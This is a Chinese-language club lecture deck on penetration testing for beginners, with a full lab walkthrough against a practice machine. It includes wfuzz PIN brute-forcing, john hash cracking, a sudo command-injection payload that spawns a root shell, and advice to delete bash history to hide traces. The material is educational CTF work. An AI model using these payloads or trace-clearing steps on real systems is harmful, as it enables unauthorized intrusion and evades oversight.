# 實中資研社社課 # 滲透測試從 0 到 1 --- ### 廣告時間 ---- ### 國雲網路 我們很多機器都是透過他們的vps架設的 ![image](https://ncse.tw/assets/img/logo.png) ---- ### 七維思資安 社團dc裡面那位熱心的飛飛老師的資安教育公司 ![image](https://image-cdn-flare.qdm.cloud/q6e57c8785320c/image/data/2024/01/18/c29a7baf9e8a9b2f3b24223107db9e48.png) --- ### 免責聲明 :::info 自本社團活動中所學習的工具、弱點、攻擊手法等僅供資安知識的學習,若在課程後想做相關練習,請在合法的CTF平台上進行測試。 如對外有相關攻擊行為,皆與授課講師以及實驗中學資訊研究社無關。 ::: 不要去犯法喔>< --- ### 滲透測試是什麼? ---- Fwd from wikipedia: :::info 是**經過授權**,對電腦系統進行的模擬網路攻擊,用於評估系統的安全性,為了證明網路防禦按照預期計劃正常執行而提供的一種機制。 ::: ---- ### 剛柔並濟 1.劇烈的攻擊(剛) 2.不影響服務(柔) --- ### 箱子 ---- - 白箱:知悉服務所有資訊(通常是獲得原始檔案) - 灰箱:知悉服務部分資訊 - 黑箱:完全不清楚服務資訊 --- ### 流程 ---- ```mermaid graph TD; 信息蒐集-->漏洞利用; 漏洞利用-->權限提升; 權限提升-->權限穩固; 權限穩固-->善後/痕跡清除 & 報告撰寫; ``` --- ### 情資蒐集(RECON) ---- - 端口掃描 - 路徑掃描 - 子網域域掃描 - 公開情資蒐集(OSINT) ---- 端口掃描 - nmap - rustscan 23.146.248.13:????? ---- 路徑掃描 - dirb - dirsearch - dirbuster - gobuster http://23.146.248.13/path_to_search ---- 公開情資蒐集 - google hacking - shodan - ~~通靈~~ ---- 其他 - enum4linux - 奇奇怪怪很多..... --- ### 漏洞利用(EXPLOIT) ---- ```mermaid graph TD; 漏洞利用-->WEB & PWN; WEB-->常見漏洞利用 & 1-DAY漏洞利用 & 密碼猜解 & 取得服務檔案(變成打白箱); PWN-->1-DAY漏洞利用 & 取得服務檔案(變成打白箱) & FUZZ; ``` ---- 1 DAY漏洞利用 - GOOGLE - CVE - EXPLOITDB https://www.exploit-db.com/ ---- 密碼猜解 - hydra(ftp/ssh/http auth都可以) - wfuzz(專用於web) - john/hashcat(for hashes) ---- 打白箱 - 透過ftp/smb抓檔案 - 結合其他漏洞 --- ### 權限提升 ---- Linux - SUDO提權 - SUID/GUID/UID提權 - 1 DAY 利用 ---- 好工具: - LinEnum - LinPeas ---- Windows 比linux複雜,不在這次課程範圍 ``` Winpeas WinEnum potato家族 ``` ---- NetWork - wifi - AD - ldap... --- ### Lab 1 Lifer --- ### Lab IP: 23.146.248.13 --- ### RECON ---- 端口掃描 (nmap): ```bash nmap -sC -sV -PN 23.146.248.13 ``` ![image](https://hackmd.io/_uploads/S12_-7ZGA.png =80%x) port 22 - ssh port 8080 - http ---- \*小知識 ssh是遠端登錄服務 登陸後可以直接取得本機shell權限 ---- http 網頁服務 port 8080 ![image](https://hackmd.io/_uploads/Bk1mMX-GC.png) ---- 路徑爆破 (dirsearch): ```bash dirsearch --url http://23.146.248.13:8080/ ``` ![image](https://hackmd.io/_uploads/S1fOz7ZzA.png) --- Exploit ---- 造訪剛剛發現的`/backup`路徑 發現要輸入四位數pin碼 ![image](https://hackmd.io/_uploads/HJbjM7bGC.png) ---- 打開f12開發人員工具的network選項 發現送出的參數為 pin 而輸入錯誤會有`Invalid PIN...`的警告 ![image](https://hackmd.io/_uploads/HJkxXQ-fC.png) ---- 撰寫python腳本生成0000~9999 ```py f=open('0000_9999.txt', 'wb') for i in range(0, 10000): f.write(str(i).encode().rjust(4, b'0')+b'\n') f.close() ``` ---- 利用wfuzz密碼猜解工具進行攻擊 ```bash wfuzz -u 'http://23.146.248.13:8080/backup' -d 'pin=FUZZ' -w 0000_9999.txt --hs 'Invalid PIN' ``` ![image](https://hackmd.io/_uploads/B1I1E7bGC.png) ---- 輸入剛剛的密碼,進到下載備份的頁面 下載後在kali linux內打開`blog.db` 點選users的table,右鍵選擇 browse database ![image](https://hackmd.io/_uploads/HyUPV7WG0.png) 發現使用者密碼hash 將其存入hash.txt ---- \*字典攻擊 利用密碼猜解工具john進行離線hash破譯 ```bash john hash.txt --wordlist=~/rockyou.txt --format=Raw-md5 ``` ![image](https://hackmd.io/_uploads/B1LC4Q-M0.png) ---- 成功破解whale密碼,利用他登入SSH成功 ```bash ssh whale@23.146.248.13 ``` 註:現實世界要保證hash安全性通常會幫他撒鹽 HASH(KEY+PASSWORD) --- ### 提權 ---- 權限檢查 ```bash sudo -l ``` ![image](https://hackmd.io/_uploads/HJHSrmWMC.png) 可以以root的身分執行 /home/whale/check_sql.py ---- Code Review 檢查這隻代碼會發現command injection的洞 ![image](https://hackmd.io/_uploads/ryusB7bfR.png) ---- 構造一下字串 *看圖說故事* `"]; then /bin/bash ; fi #` ```bash if [ -f ""]; then /bin/bash ; fi #" ]; then echo "File exists: "]; then /bin/bash ; fi #";fi ``` ---- Payload ```bash sudo ./check_sql.py --sql='"]; then /bin/bash ; fi #' ``` ---- 提權成功!!! ![image](https://hackmd.io/_uploads/r13UUQbG0.png) 最後痕跡清除可以再次登入ssh後 rm .bash_history 把bash history清除 --- ### 怎麼寫 write up? ---- > 講明服務/題目名稱,寫清楚每個階段 > 把payload貼上來並解釋為什麼可以這樣做 > 最後附上完整截圖 --- # LAB 2 https://iced-miru.onrender.com/ ![image](https://hackmd.io/_uploads/SJLYF2UrA.png) ---- ### TIP 1 網站有沒有用什麼套件? exploit-db.com 是好工具 註:有時候用 Google 查比較多 ---- ### TIP 2 Reverse shell https://www.revshells.com/ ![image](https://hackmd.io/_uploads/BkQRL2LSR.png) ---- ### TIP 3 linpeas 權限檢查 ![image](https://hackmd.io/_uploads/B1VKPi8HC.png) https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS ---- ### TIP 4 找到可能提權的利用點? GTFOBins https://gtfobins.github.io/gtfobins/find/ :::info 什麼是suid? 就是允許其他使用者以檔案擁有者權限執行該檔案 ::: (註:本機器的SUID洞目前壞了,修理中= =)
{"title":"實中資研社社課 滲透測試從 0 到 1","description":"我們很多機器都是透過他們的vps架設的image","contributors":"[{\"id\":\"4aa04276-c8ec-490d-a620-ec3b4e8e3d7c\",\"add\":4967,\"del\":511}]"}
    822 views